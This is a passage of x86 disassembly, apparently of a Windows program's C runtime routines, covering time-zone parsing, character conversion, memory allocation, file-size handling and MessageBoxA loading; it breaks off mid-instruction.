sub_420939 proc near ; CODE XREF: sub_41D609:loc_41D648p cmp dword_4CDC78, 0 jnz short locret_42094D call sub_42094E inc dword_4CDC78 locret_42094D: ; CODE XREF: sub_420939+7j retn sub_420939 endp ; =============== S U B R O U T I N E ======================================= sub_42094E proc near ; CODE XREF: sub_420939+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4CDBC0, ebp mov dword_4366E8, ebx mov dword_4366D8, ebx call sub_421DAE mov esi, eax pop ecx cmp esi, ebp jnz loc_420A77 push offset dword_4CDBC8 nop call near ptr 2800000h cmp eax, ebx jz loc_420BA6 mov eax, dword_4CDBC8 mov ecx, dword_4CDC1C imul eax, 3Ch cmp word_4CDC0E, bp push 1 pop edx mov dword_436640, eax mov dword_4CDBC0, edx jz short loc_4209C5 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_436640, eax loc_4209C5: ; CODE XREF: sub_42094E+69j cmp word_4CDC62, bp jz short loc_4209E9 mov eax, dword_4CDC70 cmp eax, ebp jz short loc_4209E9 sub eax, ecx mov dword_436644, edx imul eax, 3Ch mov dword_436648, eax jmp short loc_4209F5 ; --------------------------------------------------------------------------- loc_4209E9: ; CODE XREF: sub_42094E+7Ej ; sub_42094E+87j mov dword_436644, ebp mov dword_436648, ebp loc_4209F5: ; CODE XREF: sub_42094E+99j lea eax, [esp+14h+var_4] mov esi, dword_424150 push eax push ebp push 3Fh mov edi, 220h push off_4366CC push ebx push offset dword_4CDBCC push edi push dword_4CDA58 call esi test eax, eax jz short loc_420A32 cmp [esp+14h+var_4], ebp jnz short loc_420A32 mov eax, off_4366CC and byte ptr [eax+3Fh], 0 jmp short loc_420A3A ; --------------------------------------------------------------------------- loc_420A32: ; CODE XREF: sub_42094E+D1j ; sub_42094E+D7j mov eax, off_4366CC and byte ptr [eax], 0 loc_420A3A: ; CODE XREF: sub_42094E+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_4366D0 push ebx push offset dword_4CDC20 push edi push dword_4CDA58 call esi test eax, eax jz loc_420B9E cmp [esp+14h+var_4], ebp jnz loc_420B9E mov eax, off_4366D0 and byte ptr [eax+3Fh], 0 jmp loc_420BA6 ; --------------------------------------------------------------------------- loc_420A77: ; CODE XREF: sub_42094E+2Dj cmp byte ptr [esi], 0 jz loc_420BA6 mov eax, dword_4CDC74 cmp eax, ebp jz short loc_420A9A push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_420BA6 loc_420A9A: ; CODE XREF: sub_42094E+139j push dword_4CDC74 call sub_417C3B push esi call sub_417AB0 inc eax push eax call sub_417B89 add esp, 0Ch cmp eax, ebp mov dword_4CDC74, eax jz loc_420BA6 push esi push eax call sub_4179C0 push 3 push esi push off_4366CC call sub_418C10 mov eax, off_4366CC add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_420AEF push 1 inc esi pop edi loc_420AEF: ; CODE XREF: sub_42094E+19Bj push esi call sub_417794 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_436640, ecx loc_420B06: ; CODE XREF: sub_42094E+1C7j mov al, [esi] cmp al, 2Bh jz short loc_420B14 cmp al, bl jl short loc_420B17 cmp al, 39h jg short loc_420B17 loc_420B14: ; CODE XREF: sub_42094E+1BCj inc esi jmp short loc_420B06 ; --------------------------------------------------------------------------- loc_420B17: ; CODE XREF: sub_42094E+1C0j ; sub_42094E+1C4j cmp byte ptr [esi], 3Ah jnz short loc_420B6A inc esi push esi call sub_417794 imul eax, 3Ch pop ecx mov ecx, dword_436640 add ecx, eax mov dword_436640, ecx loc_420B35: ; CODE XREF: sub_42094E+1F2j mov al, [esi] cmp al, bl jl short loc_420B42 cmp al, 39h jg short loc_420B42 inc esi jmp short loc_420B35 ; --------------------------------------------------------------------------- loc_420B42: ; CODE XREF: sub_42094E+1EBj ; sub_42094E+1EFj cmp byte ptr [esi], 3Ah jnz short loc_420B6A inc esi push esi call sub_417794 pop ecx mov ecx, dword_436640 add ecx, eax mov dword_436640, ecx loc_420B5D: ; CODE XREF: sub_42094E+21Aj mov al, [esi] cmp al, bl jl short loc_420B6A cmp al, 39h jg short loc_420B6A inc esi jmp short loc_420B5D ; --------------------------------------------------------------------------- loc_420B6A: ; CODE XREF: sub_42094E+1CCj ; sub_42094E+1F7j ... cmp edi, ebp jz short loc_420B76 neg ecx mov dword_436640, ecx loc_420B76: ; CODE XREF: sub_42094E+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_436644, eax jz short loc_420B9E push 3 push esi push off_4366D0 call sub_418C10 mov eax, off_4366D0 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_420BA6 ; --------------------------------------------------------------------------- loc_420B9E: ; CODE XREF: sub_42094E+10Bj ; sub_42094E+115j ... mov eax, off_4366D0 and byte ptr [eax], 0 loc_420BA6: ; CODE XREF: sub_42094E+40j ; sub_42094E+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_42094E endp ; =============== S U B R O U T I N E ======================================= sub_420BAC proc near ; CODE XREF: sub_41D609+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_436644, edi jnz short loc_420BC0 loc_420BB9: ; CODE XREF: sub_420BAC+148j ; sub_420BAC+150j ... xor eax, eax jmp loc_420D0C ; --------------------------------------------------------------------------- loc_420BC0: ; CODE XREF: sub_420BAC+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_4366D8 jnz short loc_420BDE cmp eax, dword_4366E8 jz loc_420CE0 loc_420BDE: ; CODE XREF: sub_420BAC+24j cmp dword_4CDBC0, edi jz loc_420CB6 movzx ecx, word_4CDC6E push ecx cmp word_4CDC60, di movzx ecx, word_4CDC6C push ecx movzx ecx, word_4CDC6A push ecx movzx ecx, word_4CDC68 push ecx jnz short loc_420C30 movzx ecx, word_4CDC64 push edi push ecx movzx ecx, word_4CDC66 push ecx movzx ecx, word_4CDC62 push ecx push eax push ebx jmp short loc_420C44 ; --------------------------------------------------------------------------- loc_420C30: ; CODE XREF: sub_420BAC+65j movzx ecx, word_4CDC66 push ecx push edi movzx ecx, word_4CDC62 push edi push ecx push eax push edi loc_420C44: ; CODE XREF: sub_420BAC+82j push ebx call sub_420D58 movzx eax, word_4CDC1A add esp, 2Ch cmp word_4CDC0C, di push eax movzx eax, word_4CDC18 push eax movzx eax, word_4CDC16 push eax movzx eax, word_4CDC14 push eax jnz short loc_420C9E movzx eax, word_4CDC10 push edi push eax movzx eax, word_4CDC12 push eax movzx eax, word_4CDC0E push eax push dword ptr [esi+14h] push ebx loc_420C93: ; CODE XREF: sub_420BAC+108j push edi call sub_420D58 add esp, 2Ch jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420C9E: ; CODE XREF: sub_420BAC+C8j movzx eax, word_4CDC12 push eax push edi movzx eax, word_4CDC0E push edi push eax push dword ptr [esi+14h] push edi jmp short loc_420C93 ; --------------------------------------------------------------------------- loc_420CB6: ; CODE XREF: sub_420BAC+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_420D58 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_420D58 add esp, 58h loc_420CE0: ; CODE XREF: sub_420BAC+2Cj ; sub_420BAC+F0j mov edx, dword_4366DC mov eax, dword_4366EC mov ecx, [esi+1Ch] cmp edx, eax jge short loc_420D10 cmp ecx, edx jl loc_420BB9 cmp ecx, eax jg loc_420BB9 cmp ecx, edx jle short loc_420D24 cmp ecx, eax jge short loc_420D24 loc_420D0A: ; CODE XREF: sub_420BAC+166j ; sub_420BAC+16Aj mov eax, ebx loc_420D0C: ; CODE XREF: sub_420BAC+Fj ; sub_420BAC+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_420D10: ; CODE XREF: sub_420BAC+144j cmp ecx, eax jl short loc_420D0A cmp ecx, edx jg short loc_420D0A cmp ecx, eax jle short loc_420D24 cmp ecx, edx jl loc_420BB9 loc_420D24: ; CODE XREF: sub_420BAC+158j ; sub_420BAC+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_420D4B xor ecx, ecx cmp eax, dword_4366E0 setnl cl loc_420D47: ; CODE XREF: sub_420BAC+1AAj mov eax, ecx jmp short loc_420D0C ; --------------------------------------------------------------------------- loc_420D4B: ; CODE XREF: sub_420BAC+18Ej xor ecx, ecx cmp eax, dword_4366F0 setl cl jmp short loc_420D47 sub_420BAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D58 proc near ; CODE XREF: sub_420BAC+99p ; sub_420BAC+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_420DF3 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_420D83 shl esi, 2 mov eax, dword_4366F0[esi] jmp short loc_420D8C ; --------------------------------------------------------------------------- loc_420D83: ; CODE XREF: sub_420D58+1Ej shl esi, 2 mov eax, dword_436724[esi] loc_420D8C: ; CODE XREF: sub_420D58+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_420DC6 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_420DD0 ; --------------------------------------------------------------------------- loc_420DC6: ; CODE XREF: sub_420D58+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_420DD0: ; CODE XREF: sub_420D58+6Cj cmp [ebp+arg_10], 5 jnz short loc_420E0E cmp [ebp+arg_8], 0 jnz short loc_420DE4 mov esi, dword_4366F4[esi] jmp short loc_420DEA ; --------------------------------------------------------------------------- loc_420DE4: ; CODE XREF: sub_420D58+82j mov esi, dword_436728[esi] loc_420DEA: ; CODE XREF: sub_420D58+8Aj cmp ecx, esi jle short loc_420E0E sub ecx, 7 jmp short loc_420E0E ; --------------------------------------------------------------------------- loc_420DF3: ; CODE XREF: sub_420D58+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_420E04 mov ecx, dword_4366F0[eax*4] jmp short loc_420E0B ; --------------------------------------------------------------------------- loc_420E04: ; CODE XREF: sub_420D58+A1j mov ecx, dword_436724[eax*4] loc_420E0B: ; CODE XREF: sub_420D58+AAj add ecx, [ebp+arg_18] loc_420E0E: ; CODE XREF: sub_420D58+7Cj ; sub_420D58+94j ... cmp [ebp+arg_0], 1 jnz short loc_420E3F mov eax, [ebp+arg_1C] mov dword_4366DC, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_4366D8, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_4366E0, eax jmp short loc_420E94 ; --------------------------------------------------------------------------- loc_420E3F: ; CODE XREF: sub_420D58+BAj mov eax, [ebp+arg_1C] mov dword_4366EC, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_436648 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_4366F0, eax jns short loc_420E77 add eax, 5265C00h dec ecx mov dword_4366F0, eax jmp short loc_420E88 ; --------------------------------------------------------------------------- loc_420E77: ; CODE XREF: sub_420D58+110j mov edx, 5265C00h cmp eax, edx jl short loc_420E8E sub eax, edx inc ecx mov dword_4366F0, eax loc_420E88: ; CODE XREF: sub_420D58+11Dj mov dword_4366EC, ecx loc_420E8E: ; CODE XREF: sub_420D58+126j mov dword_4366E8, ebx loc_420E94: ; CODE XREF: sub_420D58+E5j pop esi pop ebx pop ebp retn sub_420D58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E98 proc near ; CODE XREF: sub_41D797+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_420EBB cmp [ebp+arg_8], ebx jz short loc_420EBB mov al, [esi] cmp al, bl jnz short loc_420EC1 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_420EBB mov [eax], bx loc_420EBB: ; CODE XREF: sub_420E98+Cj ; sub_420E98+11j ... xor eax, eax loc_420EBD: ; CODE XREF: sub_420E98+42j ; sub_420E98+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_420EC1: ; CODE XREF: sub_420E98+17j cmp dword_4CDA48, ebx jnz short loc_420EDC mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_420ED7 movzx ax, al mov [ecx], ax loc_420ED7: ; CODE XREF: sub_420E98+36j ; sub_420E98+C0j push 1 pop eax jmp short loc_420EBD ; --------------------------------------------------------------------------- loc_420EDC: ; CODE XREF: sub_420E98+2Fj mov ecx, off_433C70 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420F39 mov eax, dword_433E7C cmp eax, 1 jle short loc_420F20 cmp [ebp+arg_8], eax jl short loc_420F2A xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4CDA58 nop call near ptr 2630000h test eax, eax mov eax, dword_433E7C jnz short loc_420EBD loc_420F20: ; CODE XREF: sub_420E98+5Cj cmp [ebp+arg_8], eax jb short loc_420F2A cmp [esi+1], bl jnz short loc_420EBD loc_420F2A: ; CODE XREF: sub_420E98+61j ; sub_420E98+8Bj ... mov dword_4CD9B4, 2Ah or eax, 0FFFFFFFFh jmp short loc_420EBD ; --------------------------------------------------------------------------- loc_420F39: ; CODE XREF: sub_420E98+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4CDA58 call near ptr 2630000h nop test eax, eax jnz loc_420ED7 jmp short loc_420F2A sub_420E98 endp ; =============== S U B R O U T I N E ======================================= sub_420F60 proc near ; CODE XREF: sub_41D797+76p ; sub_41D797+88p ... arg_0 = dword ptr 4 cmp dword_433E7C, 1 jle short loc_420F77 push 8 push [esp+4+arg_0] call sub_41A642 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_420F77: ; CODE XREF: sub_420F60+7j mov eax, [esp+arg_0] mov ecx, off_433C70 mov al, [ecx+eax*2] and eax, 8 retn sub_420F60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_420F90 proc near ; CODE XREF: sub_41D797+797p ; sub_41D797+7E7p cmp cl, 40h jnb short loc_420FAA cmp cl, 20h jnb short loc_420FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_420FA0: ; CODE XREF: sub_420F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_420FAA: ; CODE XREF: sub_420F90+3j xor eax, eax xor edx, edx retn sub_420F90 endp ; =============== S U B R O U T I N E ======================================= sub_420FAF proc near ; CODE XREF: sub_41E20D+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_420FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_420FCD test al, 80h jz short loc_420FFB test al, 2 jnz short loc_420FFB loc_420FCD: ; CODE XREF: sub_420FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_420FDA push esi call sub_41F9D8 pop ecx loc_420FDA: ; CODE XREF: sub_420FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_420FEA cmp dword ptr [esi+4], 0 jnz short loc_420FFB inc eax mov [esi], eax loc_420FEA: ; CODE XREF: sub_420FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_421001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_421007 inc eax mov [esi], eax loc_420FFB: ; CODE XREF: sub_420FAF+9j ; sub_420FAF+18j ... or eax, 0FFFFFFFFh loc_420FFE: ; CODE XREF: sub_420FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_421001: ; CODE XREF: sub_420FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_421007: ; CODE XREF: sub_420FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_420FFE sub_420FAF endp ; =============== S U B R O U T I N E ======================================= sub_42101D proc near ; CODE XREF: ___:0041F15Ap arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_42102E add esp, 0Ch retn sub_42101D endp ; =============== S U B R O U T I N E ======================================= sub_42102E proc near ; CODE XREF: sub_42101D+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4CEF01[eax], cl jnz short loc_42105B cmp [esp+arg_4], 0 jz short loc_421054 movzx eax, word_433C7A[eax*2] and eax, [esp+arg_4] jmp short loc_421056 ; --------------------------------------------------------------------------- loc_421054: ; CODE XREF: sub_42102E+16j xor eax, eax loc_421056: ; CODE XREF: sub_42102E+24j test eax, eax jnz short loc_42105B retn ; --------------------------------------------------------------------------- loc_42105B: ; CODE XREF: sub_42102E+Fj ; sub_42102E+2Aj push 1 pop eax retn sub_42102E endp ; =============== S U B R O U T I N E ======================================= sub_42105F proc near ; CODE XREF: sub_41F885+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4CDC7C, ebx push esi push edi jnz short loc_4210AE push offset aUser32_dll ; "user32.dll" nop call near ptr 26F07BDh mov edi, eax cmp edi, ebx jz short loc_4210E4 mov esi, dword_4240DC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4CDC7C, eax jz short loc_4210E4 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4CDC80, eax call esi mov dword_4CDC84, eax loc_4210AE: ; CODE XREF: sub_42105F+Bj mov eax, dword_4CDC80 test eax, eax jz short loc_4210CD call eax mov ebx, eax test ebx, ebx jz short loc_4210CD mov eax, dword_4CDC84 test eax, eax jz short loc_4210CD push ebx call eax mov ebx, eax loc_4210CD: ; CODE XREF: sub_42105F+56j ; sub_42105F+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4CDC7C loc_4210E0: ; CODE XREF: sub_42105F+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4210E4: ; CODE XREF: sub_42105F+1Cj ; sub_42105F+33j xor eax, eax jmp short loc_4210E0 sub_42105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210E8 proc near ; CODE XREF: sub_41FA42+22p ; sub_41FA42+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_421109 test esi, esi jnz short loc_421103 push 1 pop esi loc_421103: ; CODE XREF: sub_4210E8+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_421109: ; CODE XREF: sub_4210E8+12j ; sub_4210E8+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_421168 mov eax, dword_4CF028 cmp eax, 3 jnz short loc_421134 mov eax, [ebp+arg_0] cmp eax, dword_4CF020 ja short loc_421153 push eax call sub_41B0DD mov edi, eax pop ecx test edi, edi jnz short loc_42117E jmp short loc_421153 ; --------------------------------------------------------------------------- loc_421134: ; CODE XREF: sub_4210E8+30j cmp eax, 2 jnz short loc_421153 cmp esi, dword_435EB4 ja short loc_421153 mov eax, esi shr eax, 4 push eax call sub_41BB80 mov edi, eax pop ecx test edi, edi jnz short loc_421192 loc_421153: ; CODE XREF: sub_4210E8+3Bj ; sub_4210E8+4Aj ... push esi push 8 push dword_4CF024 nop call near ptr 2710000h mov edi, eax test edi, edi jnz short loc_42118C loc_421168: ; CODE XREF: sub_4210E8+26j cmp dword_4CDA14, 0 jz short loc_42118C push esi call sub_41AB54 test eax, eax pop ecx jz short loc_421195 jmp short loc_421109 ; --------------------------------------------------------------------------- loc_42117E: ; CODE XREF: sub_4210E8+48j push [ebp+arg_0] loc_421181: ; CODE XREF: sub_4210E8+ABj push 0 push edi call sub_417330 add esp, 0Ch loc_42118C: ; CODE XREF: sub_4210E8+7Ej ; sub_4210E8+87j mov eax, edi loc_42118E: ; CODE XREF: sub_4210E8+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_421192: ; CODE XREF: sub_4210E8+69j push esi jmp short loc_421181 ; --------------------------------------------------------------------------- loc_421195: ; CODE XREF: sub_4210E8+92j xor eax, eax jmp short loc_42118E sub_4210E8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41FAE7 loc_421199: ; CODE XREF: sub_41FAE7+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4CECC0, esi jle short loc_4211EC loc_4211A8: ; CODE XREF: sub_41FAE7+1703j mov eax, dword_4CDCB0 mov eax, [eax+esi*4] test eax, eax jz short loc_4211E3 test byte ptr [eax+0Ch], 83h jz short loc_4211C7 push eax call sub_417900 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4211C7 inc edi loc_4211C7: ; CODE XREF: sub_41FAE7+16D1j ; sub_41FAE7+16DDj cmp esi, 14h jl short loc_4211E3 mov eax, dword_4CDCB0 push dword ptr [eax+esi*4] call sub_417C3B mov eax, dword_4CDCB0 pop ecx and dword ptr [eax+esi*4], 0 loc_4211E3: ; CODE XREF: sub_41FAE7+16CBj ; sub_41FAE7+16E3j inc esi cmp esi, dword_4CECC0 jl short loc_4211A8 loc_4211EC: ; CODE XREF: sub_41FAE7+16BFj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_41FAE7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4211F1 proc near ; CODE XREF: sub_41FEC6+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_417B30 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4CEDE0 jnb loc_421326 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4CECE0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_421326 push 1 push esi push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_421330 push 2 push esi push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_421330 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_4212D3 push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_417330 push 8000h push ebx call sub_421E2B add esp, 14h mov [ebp+arg_4], eax loc_421287: ; CODE XREF: sub_4211F1+BDj mov eax, 1000h cmp edi, eax jge short loc_421292 mov eax, edi loc_421292: ; CODE XREF: sub_4211F1+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41ED97 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4212B0 sub edi, eax test edi, edi jle short loc_4212C6 jmp short loc_421287 ; --------------------------------------------------------------------------- loc_4212B0: ; CODE XREF: sub_4211F1+B5j cmp dword_4CD9B8, 5 jnz short loc_4212C3 mov dword_4CD9B4, 0Dh loc_4212C3: ; CODE XREF: sub_4211F1+C6j or esi, 0FFFFFFFFh loc_4212C6: ; CODE XREF: sub_4211F1+BBj push [ebp+arg_4] push ebx call sub_421E2B pop ecx pop ecx jmp short loc_421313 ; --------------------------------------------------------------------------- loc_4212D3: ; CODE XREF: sub_4211F1+71j jge short loc_421313 push 0 push [ebp+arg_4] push ebx call sub_41E517 push ebx call sub_41FE32 add esp, 10h push eax nop call near ptr 25D0000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_421313 mov dword_4CD9B4, 0Dh nop call near ptr 2650B3Dh mov dword_4CD9B8, eax loc_421313: ; CODE XREF: sub_4211F1+E0j ; sub_4211F1:loc_4212D3j ... push 0 push [ebp+arg_0] push ebx call sub_41E517 add esp, 0Ch mov eax, esi pop edi jmp short loc_421333 ; --------------------------------------------------------------------------- loc_421326: ; CODE XREF: sub_4211F1+1Aj ; sub_4211F1+36j mov dword_4CD9B4, 9 loc_421330: ; CODE XREF: sub_4211F1+4Ej ; sub_4211F1+63j or eax, 0FFFFFFFFh loc_421333: ; CODE XREF: sub_4211F1+133j pop esi pop ebx leave retn sub_4211F1 endp ; =============== S U B R O U T I N E ======================================= sub_421337 proc near ; CODE XREF: sub_420331+2Bp ; sub_420331+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_42134D cmp ecx, esi jnb short loc_421350 loc_42134D: ; CODE XREF: sub_421337+10j push 1 pop eax loc_421350: ; CODE XREF: sub_421337+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_421337 endp ; =============== S U B R O U T I N E ======================================= sub_421358 proc near ; CODE XREF: sub_421411+40p ; sub_421411+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_421337 add esp, 0Ch test eax, eax jz short loc_42138A lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_421337 add esp, 0Ch test eax, eax jz short loc_42138A inc dword ptr [esi+8] loc_42138A: ; CODE XREF: sub_421358+19j ; sub_421358+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_421337 add esp, 0Ch test eax, eax jz short loc_4213A2 inc dword ptr [esi+8] loc_4213A2: ; CODE XREF: sub_421358+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_421337 add esp, 0Ch pop edi pop esi retn sub_421358 endp ; =============== S U B R O U T I N E ======================================= sub_4213B6 proc near ; CODE XREF: sub_421411+30p ; sub_421411+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4213B6 endp ; =============== S U B R O U T I N E ======================================= sub_4213E4 proc near ; CODE XREF: sub_4219A9+1C8p ; sub_421EA1+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4213E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421411 proc near ; CODE XREF: sub_4214D8+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_421485 push edi mov [ebp+arg_8], eax loc_421438: ; CODE XREF: sub_421411+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4213B6 push ebx call sub_4213B6 lea eax, [ebp+var_10] push eax push ebx call sub_421358 push ebx call sub_4213B6 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_421358 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_421438 xor edx, edx pop edi loc_421485: ; CODE XREF: sub_421411+21j ; sub_421411+9Fj cmp [ebx+8], edx jnz short loc_4214B2 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_421485 ; --------------------------------------------------------------------------- loc_4214B2: ; CODE XREF: sub_421411+77j mov esi, 8000h loc_4214B7: ; CODE XREF: sub_421411+B9j test 